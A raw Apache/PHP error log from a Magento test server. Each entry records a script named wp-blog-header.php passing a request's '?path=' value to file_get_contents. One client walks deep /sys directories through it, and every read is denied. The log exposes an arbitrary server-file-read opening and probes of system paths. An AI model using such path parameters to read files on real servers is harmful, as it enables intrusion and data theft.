[Thu Mar 26 11:52:06.255379 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60156] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/drivers/ac
[Thu Mar 26 11:52:07.318915 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60156] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:ac
[Thu Mar 26 11:52:15.854210 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60156] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 11:52:16.390827 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60156] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:ae
[Thu Mar 26 11:52:17.420418 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60156] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 11:52:17.904960 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60156] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:ec
[Thu Mar 26 11:52:23.405211 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52548] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 11:52:24.571843 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52548] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:fe
[Thu Mar 26 11:52:29.910054 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52548] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 11:52:34.666582 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52548] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:ea
[Thu Mar 26 11:52:35.675869 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52548] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:52:36.235604 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52548] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:ee
[Thu Mar 26 11:52:37.724183 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52548] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/drivers/tpm_crb/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/drivers/tpm_crb
[Thu Mar 26 11:52:39.388497 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52548] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/drivers/ac
[Thu Mar 26 11:52:42.650635 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52548] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:ae
[Thu Mar 26 11:52:45.367268 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52548] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/drivers/ac
[Thu Mar 26 11:52:47.122977 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52548] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 11:52:51.797828 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52548] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 11:52:53.311386 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52548] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 11:52:54.914304 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52548] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:ac
[Thu Mar 26 11:52:57.078757 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52548] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/drivers/ac
[Thu Mar 26 11:52:57.522385 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52548] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 11:53:00.681967 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52548] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ac
[Thu Mar 26 11:53:06.014812 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52548] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 11:53:08.103636 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52548] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 11:53:13.014801 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36378] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/drivers/ac
[Thu Mar 26 11:53:15.671453 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36378] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ec
[Thu Mar 26 11:53:16.194155 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36378] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:cc
[Thu Mar 26 11:53:17.777319 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36378] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:ba
[Thu Mar 26 11:53:20.884010 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36378] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:fb/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:fb/device:fc
[Thu Mar 26 11:53:21.435551 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36378] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/drivers/ec
[Thu Mar 26 11:53:21.989788 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36378] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 11:53:25.657432 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36378] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:aa
[Thu Mar 26 11:53:27.754396 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36378] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/drivers/ac
[Thu Mar 26 11:53:29.303259 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36378] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 11:53:32.945729 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36378] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ec
[Thu Mar 26 11:53:37.123527 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36378] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:fe
[Thu Mar 26 11:53:38.251887 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36378] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/drivers/ac
[Thu Mar 26 11:53:40.865390 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36378] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 11:53:41.878098 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36378] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 11:53:43.556175 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36378] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/drivers/ec
[Thu Mar 26 11:53:45.706498 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36378] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 11:53:46.210497 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36378] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:be
[Thu Mar 26 11:53:46.742773 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36378] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:be
